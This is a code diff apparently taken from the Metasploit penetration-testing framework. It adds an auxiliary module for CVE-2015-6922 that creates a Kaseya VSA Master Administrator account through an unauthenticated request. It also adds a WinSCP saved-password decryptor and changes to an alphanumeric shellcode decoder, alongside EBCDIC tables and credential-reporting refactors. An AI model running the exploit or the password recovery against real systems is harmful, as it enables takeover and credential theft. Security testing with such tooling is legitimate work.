|
|
||||||
|
mod_registers = []
|
||||||
|
nop_regs = []
|
||||||
|
mod_regs = []
|
||||||
|
edx_regs = []
|
||||||
|
|
||||||
# use inc ebx as a nop here so we still pad correctly
|
# use inc ebx as a nop here so we still pad correctly
|
||||||
if (offset <= 10)
|
if (offset <= 10)
|
||||||
nop = 'C' * offset
|
nop = 'C' * offset
|
||||||
|
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||||
|
|
||||||
mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx
|
mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx
|
||||||
|
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10
|
||||||
|
mod_regs.concat(nop_regs)
|
||||||
|
mod_regs.push(Rex::Arch::X86::EDX)
|
||||||
|
|
||||||
edxmod = 'J' * (11 - offset)
|
edxmod = 'J' * (11 - offset)
|
||||||
|
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||||
else
|
else
|
||||||
mod = 'A' * (offset - 10)
|
mod = 'A' * (offset - 10)
|
||||||
|
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
|
||||||
|
|
||||||
nop = 'C' * (10 - mod.length)
|
nop = 'C' * (10 - mod.length)
|
||||||
|
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||||
|
|
||||||
mod << nop + 'QZ'
|
mod << nop + 'QZ'
|
||||||
|
mod_regs.concat(nop_regs)
|
||||||
|
mod_regs.push(Rex::Arch::X86::EDX)
|
||||||
|
|
||||||
edxmod = 'B' * (11 - (offset - 10))
|
edxmod = 'B' * (11 - (offset - 10))
|
||||||
|
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||||
end
|
end
|
||||||
regprefix = {
|
regprefix = {
|
||||||
'EAX' => 'PY' + mod, # push eax, pop ecx
|
'EAX' => 'PY' + mod, # push eax, pop ecx
|
||||||
|
@ -33,20 +59,41 @@ class AlphaUpper < Generic
|
||||||
'ESP' => 'TY' + mod, # push esp, pop ecx
|
'ESP' => 'TY' + mod, # push esp, pop ecx
|
||||||
'EBP' => 'UY' + mod, # push ebp, pop ecx
|
'EBP' => 'UY' + mod, # push ebp, pop ecx
|
||||||
'ESI' => 'VY' + mod, # push esi, pop ecx
|
'ESI' => 'VY' + mod, # push esi, pop ecx
|
||||||
'EDI' => 'WY' + mod, # push edi, pop edi
|
'EDI' => 'WY' + mod, # push edi, pop ecx
|
||||||
}
|
}
|
||||||
|
|
||||||
reg.upcase!
|
reg.upcase!
|
||||||
if (not regprefix.keys.include? reg)
|
unless regprefix.keys.include?(reg)
|
||||||
raise ArgumentError.new("Invalid register name")
|
raise ArgumentError.new("Invalid register name")
|
||||||
end
|
end
|
||||||
return regprefix[reg]
|
|
||||||
|
|
||||||
|
case reg
|
||||||
|
when 'EDX'
|
||||||
|
mod_registers.concat(edx_regs)
|
||||||
|
mod_registers.concat(nop_regs)
|
||||||
|
mod_registers.push(Rex::Arch::X86::ECX)
|
||||||
|
else
|
||||||
|
mod_registers.push(Rex::Arch::X86::ECX)
|
||||||
|
mod_registers.concat(mod_regs)
|
||||||
|
end
|
||||||
|
|
||||||
|
mod_registers.uniq!
|
||||||
|
modified_registers.concat(mod_registers)
|
||||||
|
|
||||||
|
return regprefix[reg]
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.gen_decoder(reg, offset)
|
# Generates the decoder stub
|
||||||
|
#
|
||||||
|
# @param [String] reg the register pointing to the encoded payload
|
||||||
|
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||||
|
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||||
|
# @return [String] the alpha upper decoder stub
|
||||||
|
def self.gen_decoder(reg, offset, modified_registers = [])
|
||||||
|
mod_registers = []
|
||||||
|
|
||||||
decoder =
|
decoder =
|
||||||
gen_decoder_prefix(reg, offset) +
|
gen_decoder_prefix(reg, offset, mod_registers) +
|
||||||
"V" + # push esi
|
"V" + # push esi
|
||||||
"T" + # push esp
|
"T" + # push esp
|
||||||
"X" + # pop eax
|
"X" + # pop eax
|
||||||
|
@ -73,6 +120,18 @@ class AlphaUpper < Generic
|
||||||
"JJ" + # jnz * --------------------
|
"JJ" + # jnz * --------------------
|
||||||
"I" # first encoded char, fixes the above J
|
"I" # first encoded char, fixes the above J
|
||||||
|
|
||||||
|
mod_registers.concat(
|
||||||
|
[
|
||||||
|
Rex::Arch::X86::ESP,
|
||||||
|
Rex::Arch::X86::EAX,
|
||||||
|
Rex::Arch::X86::ESI,
|
||||||
|
Rex::Arch::X86::ECX,
|
||||||
|
Rex::Arch::X86::EDX
|
||||||
|
])
|
||||||
|
|
||||||
|
mod_registers.uniq!
|
||||||
|
modified_registers.concat(mod_registers)
|
||||||
|
|
||||||
return decoder
|
return decoder
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,108 @@
|
||||||
|
require 'rex/parser/ini'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Parser
|
||||||
|
module WinSCP
|
||||||
|
PWDALG_SIMPLE_MAGIC = 0xA3
|
||||||
|
PWDALG_SIMPLE_FLAG = 0xFF
|
||||||
|
|
||||||
|
def read_and_parse_ini(filename)
|
||||||
|
file = File.read(filename)
|
||||||
|
return if file.to_s.empty?
|
||||||
|
parse_ini(file)
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_protocol(fsprotocol)
|
||||||
|
return 'Unknown' if fsprotocol.nil?
|
||||||
|
|
||||||
|
case fsprotocol
|
||||||
|
when 5 then 'FTP'
|
||||||
|
when 0 then 'SSH'
|
||||||
|
else
|
||||||
|
'Unknown'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_ini(file)
|
||||||
|
results = []
|
||||||
|
raise RuntimeError, 'No data to parse' if file.nil? || file.empty?
|
||||||
|
|
||||||
|
ini = Rex::Parser::Ini.from_s(file)
|
||||||
|
|
||||||
|
if ini['Configuration\\Security']
|
||||||
|
# if a Master Password is in use we give up
|
||||||
|
if ini['Configuration\\Security']['UseMasterPassword'].to_i == 1
|
||||||
|
raise RuntimeError, 'Master Password Set, unable to recover saved passwords!'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Runs through each group in the ini file looking for all of the Sessions
|
||||||
|
ini.each_key do |group|
|
||||||
|
if group.include?('Sessions') && ini[group].has_key?('Password')
|
||||||
|
# Decrypt our password, and report on results
|
||||||
|
encrypted_password = ini[group]['Password']
|
||||||
|
user = ini[group]['UserName']
|
||||||
|
host = ini[group]['HostName']
|
||||||
|
sname = parse_protocol(ini[group]['FSProtocol'].to_i)
|
||||||
|
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
|
||||||
|
|
||||||
|
results << {
|
||||||
|
hostname: host,
|
||||||
|
password: plaintext,
|
||||||
|
portnumber: ini[group]['PortNumber'] || 22,
|
||||||
|
username: user,
|
||||||
|
protocol: sname
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
results
|
||||||
|
end
|
||||||
|
|
||||||
|
# Decrypts the next character in the password sequence
|
||||||
|
def decrypt_next_char(pwd)
|
||||||
|
if pwd.nil? || pwd.length <= 0
|
||||||
|
return 0, pwd
|
||||||
|
end
|
||||||
|
|
||||||
|
# Takes the first char from the encrypted password and then left shifts the returned index by 4 bits
|
||||||
|
a = pwd[0].hex << 4
|
||||||
|
|
||||||
|
# Takes the second char from the encrypted password
|
||||||
|
b = pwd[1].hex
|
||||||
|
|
||||||
|
# Adds the two results, XORs against 0xA3, NOTs it and then ANDs it with 0xFF
|
||||||
|
result = ~((a + b) ^ PWDALG_SIMPLE_MAGIC) & PWDALG_SIMPLE_FLAG
|
||||||
|
|
||||||
|
# Strips the first two chars off and returns our result
|
||||||
|
return result, pwd[2..-1]
|
||||||
|
end
|
||||||
|
|
||||||
|
def decrypt_password(pwd, key)
|
||||||
|
flag, pwd = decrypt_next_char(pwd)
|
||||||
|
|
||||||
|
if flag == PWDALG_SIMPLE_FLAG
|
||||||
|
_, pwd = decrypt_next_char(pwd)
|
||||||
|
length, pwd = decrypt_next_char(pwd)
|
||||||
|
else
|
||||||
|
length = flag
|
||||||
|
end
|
||||||
|
|
||||||
|
del, pwd = decrypt_next_char(pwd)
|
||||||
|
pwd = pwd[del*2..-1]
|
||||||
|
|
||||||
|
result = ""
|
||||||
|
length.times do
|
||||||
|
r, pwd = decrypt_next_char(pwd)
|
||||||
|
result << r.chr
|
||||||
|
end
|
||||||
|
|
||||||
|
if flag == PWDALG_SIMPLE_FLAG
|
||||||
|
result = result[key.length..-1]
|
||||||
|
end
|
||||||
|
|
||||||
|
result
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
122
lib/rex/text.rb
122
lib/rex/text.rb
|
@ -45,6 +45,93 @@ module Text
|
||||||
|
|
||||||
DefaultPatternSets = [ Rex::Text::UpperAlpha, Rex::Text::LowerAlpha, Rex::Text::Numerals ]
|
DefaultPatternSets = [ Rex::Text::UpperAlpha, Rex::Text::LowerAlpha, Rex::Text::Numerals ]
|
||||||
|
|
||||||
|
# The Iconv translation table for IBM's mainframe / System Z
|
||||||
|
# (z/os, s390, mvs, etc) - This is a different implementation
|
||||||
|
# of EBCDIC than the Iconv_EBCDIC below.
|
||||||
|
# It is technically referred to as Code Page IBM1047.
|
||||||
|
# This will be net new (until Ruby supports 1047 code page)
|
||||||
|
# for all Mainframe / SystemZ based modules
|
||||||
|
# that need to convert ASCII to EBCDIC
|
||||||
|
#
|
||||||
|
# The bytes are indexed by ASCII conversion number
|
||||||
|
# e.g. Iconv_IBM1047[0x41] == \xc1 for letter "A"
|
||||||
|
#
|
||||||
|
# Note the characters CANNOT be assumed to be in any logical
|
||||||
|
# order. Nor are the tables reversible. Lookups must be for each byte
|
||||||
|
# https://gist.github.com/bigendiansmalls/b08483ecedff52cc8fa3
|
||||||
|
#
|
||||||
|
Iconv_IBM1047 = [
|
||||||
|
"\x00","\x01","\x02","\x03","\x37","\x2d","\x2e","\x2f",
|
||||||
|
"\x16","\x05","\x15","\x0b","\x0c","\x0d","\x0e","\x0f","\x10",
|
||||||
|
"\x11","\x12","\x13","\x3c","\x3d","\x32","\x26","\x18","\x19",
|
||||||
|
"\x3f","\x27","\x1c","\x1d","\x1e","\x1f","\x40","\x5a","\x7f",
|
||||||
|
"\x7b","\x5b","\x6c","\x50","\x7d","\x4d","\x5d","\x5c","\x4e",
|
||||||
|
"\x6b","\x60","\x4b","\x61","\xf0","\xf1","\xf2","\xf3","\xf4",
|
||||||
|
"\xf5","\xf6","\xf7","\xf8","\xf9","\x7a","\x5e","\x4c","\x7e",
|
||||||
|
"\x6e","\x6f","\x7c","\xc1","\xc2","\xc3","\xc4","\xc5","\xc6",
|
||||||
|
"\xc7","\xc8","\xc9","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6",
|
||||||
|
"\xd7","\xd8","\xd9","\xe2","\xe3","\xe4","\xe5","\xe6","\xe7",
|
||||||
|
"\xe8","\xe9","\xad","\xe0","\xbd","\x5f","\x6d","\x79","\x81",
|
||||||
|
"\x82","\x83","\x84","\x85","\x86","\x87","\x88","\x89","\x91",
|
||||||
|
"\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\xa2",
|
||||||
|
"\xa3","\xa4","\xa5","\xa6","\xa7","\xa8","\xa9","\xc0","\x4f",
|
||||||
|
"\xd0","\xa1","\x07","\x20","\x21","\x22","\x23","\x24","\x25",
|
||||||
|
"\x06","\x17","\x28","\x29","\x2a","\x2b","\x2c","\x09","\x0a",
|
||||||
|
"\x1b","\x30","\x31","\x1a","\x33","\x34","\x35","\x36","\x08",
|
||||||
|
"\x38","\x39","\x3a","\x3b","\x04","\x14","\x3e","\xff","\x41",
|
||||||
|
"\xaa","\x4a","\xb1","\x9f","\xb2","\x6a","\xb5","\xbb","\xb4",
|
||||||
|
"\x9a","\x8a","\xb0","\xca","\xaf","\xbc","\x90","\x8f","\xea",
|
||||||
|
"\xfa","\xbe","\xa0","\xb6","\xb3","\x9d","\xda","\x9b","\x8b",
|
||||||
|
"\xb7","\xb8","\xb9","\xab","\x64","\x65","\x62","\x66","\x63",
|
||||||
|
"\x67","\x9e","\x68","\x74","\x71","\x72","\x73","\x78","\x75",
|
||||||
|
"\x76","\x77","\xac","\x69","\xed","\xee","\xeb","\xef","\xec",
|
||||||
|
"\xbf","\x80","\xfd","\xfe","\xfb","\xfc","\xba","\xae","\x59",
|
||||||
|
"\x44","\x45","\x42","\x46","\x43","\x47","\x9c","\x48","\x54",
|
||||||
|
"\x51","\x52","\x53","\x58","\x55","\x56","\x57","\x8c","\x49",
|
||||||
|
"\xcd","\xce","\xcb","\xcf","\xcc","\xe1","\x70","\xdd","\xde",
|
||||||
|
"\xdb","\xdc","\x8d","\x8e","\xdf"
|
||||||
|
]
|
||||||
|
|
||||||
|
#
|
||||||
|
# This is the reverse of the above, converts EBCDIC -> ASCII
|
||||||
|
# The bytes are indexed by IBM1047(EBCDIC) conversion number
|
||||||
|
# e.g. Iconv_ISO8859_1[0xc1] = \x41 for letter "A"
|
||||||
|
#
|
||||||
|
# Note the characters CANNOT be assumed to be in any logical (e.g. sequential)
|
||||||
|
# order. Nor are the tables reversible. Lookups must be done byte by byte
|
||||||
|
#
|
||||||
|
Iconv_ISO8859_1 = [
|
||||||
|
"\x00","\x01","\x02","\x03","\x9c","\x09","\x86","\x7f",
|
||||||
|
"\x97","\x8d","\x8e","\x0b","\x0c","\x0d","\x0e","\x0f","\x10",
|
||||||
|
"\x11","\x12","\x13","\x9d","\x0a","\x08","\x87","\x18","\x19",
|
||||||
|
"\x92","\x8f","\x1c","\x1d","\x1e","\x1f","\x80","\x81","\x82",
|
||||||
|
"\x83","\x84","\x85","\x17","\x1b","\x88","\x89","\x8a","\x8b",
|
||||||
|
"\x8c","\x05","\x06","\x07","\x90","\x91","\x16","\x93","\x94",
|
||||||
|
"\x95","\x96","\x04","\x98","\x99","\x9a","\x9b","\x14","\x15",
|
||||||
|
"\x9e","\x1a","\x20","\xa0","\xe2","\xe4","\xe0","\xe1","\xe3",
|
||||||
|
"\xe5","\xe7","\xf1","\xa2","\x2e","\x3c","\x28","\x2b","\x7c",
|
||||||
|
"\x26","\xe9","\xea","\xeb","\xe8","\xed","\xee","\xef","\xec",
|
||||||
|
"\xdf","\x21","\x24","\x2a","\x29","\x3b","\x5e","\x2d","\x2f",
|
||||||
|
"\xc2","\xc4","\xc0","\xc1","\xc3","\xc5","\xc7","\xd1","\xa6",
|
||||||
|
"\x2c","\x25","\x5f","\x3e","\x3f","\xf8","\xc9","\xca","\xcb",
|
||||||
|
"\xc8","\xcd","\xce","\xcf","\xcc","\x60","\x3a","\x23","\x40",
|
||||||
|
"\x27","\x3d","\x22","\xd8","\x61","\x62","\x63","\x64","\x65",
|
||||||
|
"\x66","\x67","\x68","\x69","\xab","\xbb","\xf0","\xfd","\xfe",
|
||||||
|
"\xb1","\xb0","\x6a","\x6b","\x6c","\x6d","\x6e","\x6f","\x70",
|
||||||
|
"\x71","\x72","\xaa","\xba","\xe6","\xb8","\xc6","\xa4","\xb5",
|
||||||
|
"\x7e","\x73","\x74","\x75","\x76","\x77","\x78","\x79","\x7a",
|
||||||
|
"\xa1","\xbf","\xd0","\x5b","\xde","\xae","\xac","\xa3","\xa5",
|
||||||
|
"\xb7","\xa9","\xa7","\xb6","\xbc","\xbd","\xbe","\xdd","\xa8",
|
||||||
|
"\xaf","\x5d","\xb4","\xd7","\x7b","\x41","\x42","\x43","\x44",
|
||||||
|
"\x45","\x46","\x47","\x48","\x49","\xad","\xf4","\xf6","\xf2",
|
||||||
|
"\xf3","\xf5","\x7d","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f",
|
||||||
|
"\x50","\x51","\x52","\xb9","\xfb","\xfc","\xf9","\xfa","\xff",
|
||||||
|
"\x5c","\xf7","\x53","\x54","\x55","\x56","\x57","\x58","\x59",
|
||||||
|
"\x5a","\xb2","\xd4","\xd6","\xd2","\xd3","\xd5","\x30","\x31",
|
||||||
|
"\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\xb3",
|
||||||
|
"\xdb","\xdc","\xd9","\xda","\x9f"
|
||||||
|
]
|
||||||
|
|
||||||
# The Iconv translation table. The Iconv gem is deprecated in favor of
|
# The Iconv translation table. The Iconv gem is deprecated in favor of
|
||||||
# String#encode, yet there is no encoding for EBCDIC. See #4525
|
# String#encode, yet there is no encoding for EBCDIC. See #4525
|
||||||
Iconv_EBCDIC = [
|
Iconv_EBCDIC = [
|
||||||
|
@ -396,7 +483,7 @@ module Text
|
||||||
new_str.join
|
new_str.join
|
||||||
end
|
end
|
||||||
|
|
||||||
# A native implementation of the EBCIDC to ASCII conversion table, since
|
# A native implementation of the EBCDIC to ASCII conversion table, since
|
||||||
# EBCDIC isn't available to String#encode as of Ruby 2.1
|
# EBCDIC isn't available to String#encode as of Ruby 2.1
|
||||||
#
|
#
|
||||||
# @param str [String] an EBCDIC encoded string
|
# @param str [String] an EBCDIC encoded string
|
||||||
|
@ -414,6 +501,39 @@ module Text
|
||||||
new_str.join
|
new_str.join
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# The next two are the same as the above, except strictly for z/os
|
||||||
|
# conversions
|
||||||
|
# strictly for IBM1047 -> ISO8859-1
|
||||||
|
# A native implementation of the IBM1047(EBCDIC) -> ISO8859-1(ASCII)
|
||||||
|
# conversion table, since EBCDIC isn't available to String#encode as of Ruby 2.1
|
||||||
|
# all 256 bytes are defined
|
||||||
|
#
|
||||||
|
def self.to_ibm1047(str)
|
||||||
|
return str if str.nil?
|
||||||
|
new_str = []
|
||||||
|
str.each_byte do |x|
|
||||||
|
new_str << Iconv_IBM1047[x.ord]
|
||||||
|
end
|
||||||
|
new_str.join
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# The next two are the same as the above, except strictly for z/os
|
||||||
|
# conversions
|
||||||
|
# strictly for ISO8859-1 -> IBM1047
|
||||||
|
# A native implementation of the ISO8859-1(ASCII) -> IBM1047(EBCDIC)
|
||||||
|
# conversion table, since EBCDIC isn't available to String#encode as of Ruby 2.1
|
||||||
|
#
|
||||||
|
def self.from_ibm1047(str)
|
||||||
|
return str if str.nil?
|
||||||
|
new_str = []
|
||||||
|
str.each_byte do |x|
|
||||||
|
new_str << Iconv_ISO8859_1[x.ord]
|
||||||
|
end
|
||||||
|
new_str.join
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns the words in +str+ as an Array.
|
# Returns the words in +str+ as an Array.
|
||||||
#
|
#
|
||||||
|
|
|
@ -31,7 +31,7 @@ Gem::Specification.new do |spec|
|
||||||
# Metasploit::Credential database models
|
# Metasploit::Credential database models
|
||||||
spec.add_runtime_dependency 'metasploit-credential', '1.0.1'
|
spec.add_runtime_dependency 'metasploit-credential', '1.0.1'
|
||||||
# Database models shared between framework and Pro.
|
# Database models shared between framework and Pro.
|
||||||
spec.add_runtime_dependency 'metasploit_data_models', '1.2.5'
|
spec.add_runtime_dependency 'metasploit_data_models', '1.2.7'
|
||||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||||
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
||||||
# Needed for module caching in Mdm::ModuleDetails
|
# Needed for module caching in Mdm::ModuleDetails
|
||||||
|
|
|
@ -73,7 +73,7 @@ Gem::Specification.new do |spec|
|
||||||
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
|
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
|
||||||
spec.add_runtime_dependency 'railties'
|
spec.add_runtime_dependency 'railties'
|
||||||
# required for OS fingerprinting
|
# required for OS fingerprinting
|
||||||
spec.add_runtime_dependency 'recog', '2.0.6'
|
spec.add_runtime_dependency 'recog', '2.0.14'
|
||||||
|
|
||||||
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
||||||
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
||||||
|
|
|
@ -0,0 +1,107 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Kaseya VSA Master Administrator Account Creation',
|
||||||
|
'Description' => %q{
|
||||||
|
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
|
||||||
|
Master Administrator account. Normally this page is only accessible via the localhost
|
||||||
|
interface, but the application does nothing to prevent this apart from attempting to
|
||||||
|
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
|
||||||
|
v9.0.0.3.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2015-6922'],
|
||||||
|
['ZDI', '15-448'],
|
||||||
|
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
|
||||||
|
['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Sep 23 2015'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
|
||||||
|
OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
|
||||||
|
OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
|
||||||
|
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def run
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
|
||||||
|
'method' =>'GET',
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
|
||||||
|
session_val = $1
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Failed to get sessionVal")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account")
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
|
||||||
|
'method' =>'POST',
|
||||||
|
'vars_post' => {
|
||||||
|
'sessionVal' => session_val,
|
||||||
|
'adminName' => datastore['KASEYA_USER'],
|
||||||
|
'NewPassword' => datastore['KASEYA_PASS'],
|
||||||
|
'confirm' => datastore['KASEYA_PASS'],
|
||||||
|
'adminEmail' => datastore['EMAIL'],
|
||||||
|
'setAccount' => 'Create'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
|
||||||
|
print_error("#{peer} - Master Administrator account creation failed")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
|
||||||
|
service_data = {
|
||||||
|
address: rhost,
|
||||||
|
port: rport,
|
||||||
|
service_name: (ssl ? 'https' : 'http'),
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: self.fullname,
|
||||||
|
private_type: :password,
|
||||||
|
private_data: datastore['KASEYA_PASS'],
|
||||||
|
username: datastore['KASEYA_USER']
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data.merge!(service_data)
|
||||||
|
credential_core = create_credential(credential_data)
|
||||||
|
login_data = {
|
||||||
|
core: credential_core,
|
||||||
|
access_level: 'Master Administrator',
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED
|
||||||
|
}
|
||||||
|
login_data.merge!(service_data)
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
end
|
|
@ -27,6 +27,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :nonreplayable_hash,
|
||||||
|
jtr_format: 'mysql,mysql-sha1'
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
return if not mysql_login_datastore
|
return if not mysql_login_datastore
|
||||||
print_status("Running MySQL Enumerator...")
|
print_status("Running MySQL Enumerator...")
|
||||||
|
@ -86,15 +113,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_status("\tList of Accounts with Password Hashes:")
|
print_status("\tList of Accounts with Password Hashes:")
|
||||||
res.each do |row|
|
res.each do |row|
|
||||||
print_status("\t\tUser: #{row[0]} Host: #{row[1]} Password Hash: #{row[2]}")
|
print_status("\t\tUser: #{row[0]} Host: #{row[1]} Password Hash: #{row[2]}")
|
||||||
report_auth_info({
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:user => row[0],
|
user: row[0],
|
||||||
:pass => row[2],
|
password: row[2],
|
||||||
:type => "mysql_hash",
|
service_name: 'mysql',
|
||||||
:sname => "mysql",
|
proof: row.inspect
|
||||||
:active => true
|
)
|
||||||
})
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
# Only list accounts that can log in with SSL if SSL is enabled
|
# Only list accounts that can log in with SSL if SSL is enabled
|
||||||
|
|
|
@ -175,15 +175,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
@plain_passwords[i] << " (ISO-8859-1 hex chars)"
|
@plain_passwords[i] << " (ISO-8859-1 hex chars)"
|
||||||
end
|
end
|
||||||
|
|
||||||
report_auth_info({
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:user => @users[i][0],
|
user: @users[i][0],
|
||||||
:pass => @plain_passwords[i],
|
password: @plain_passwords[i],
|
||||||
:type => "password",
|
service_name: (ssl ? "https" : "http"),
|
||||||
:sname => (ssl ? "https" : "http"),
|
proof: "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}"
|
||||||
:proof => "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}"
|
)
|
||||||
})
|
|
||||||
|
|
||||||
users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])]
|
users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])]
|
||||||
end
|
end
|
||||||
|
@ -191,6 +190,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_line(users_table.to_s)
|
print_line(users_table.to_s)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def user_type(database)
|
def user_type(database)
|
||||||
user_type = database
|
user_type = database
|
||||||
|
|
||||||
|
|
|
@ -90,18 +90,45 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
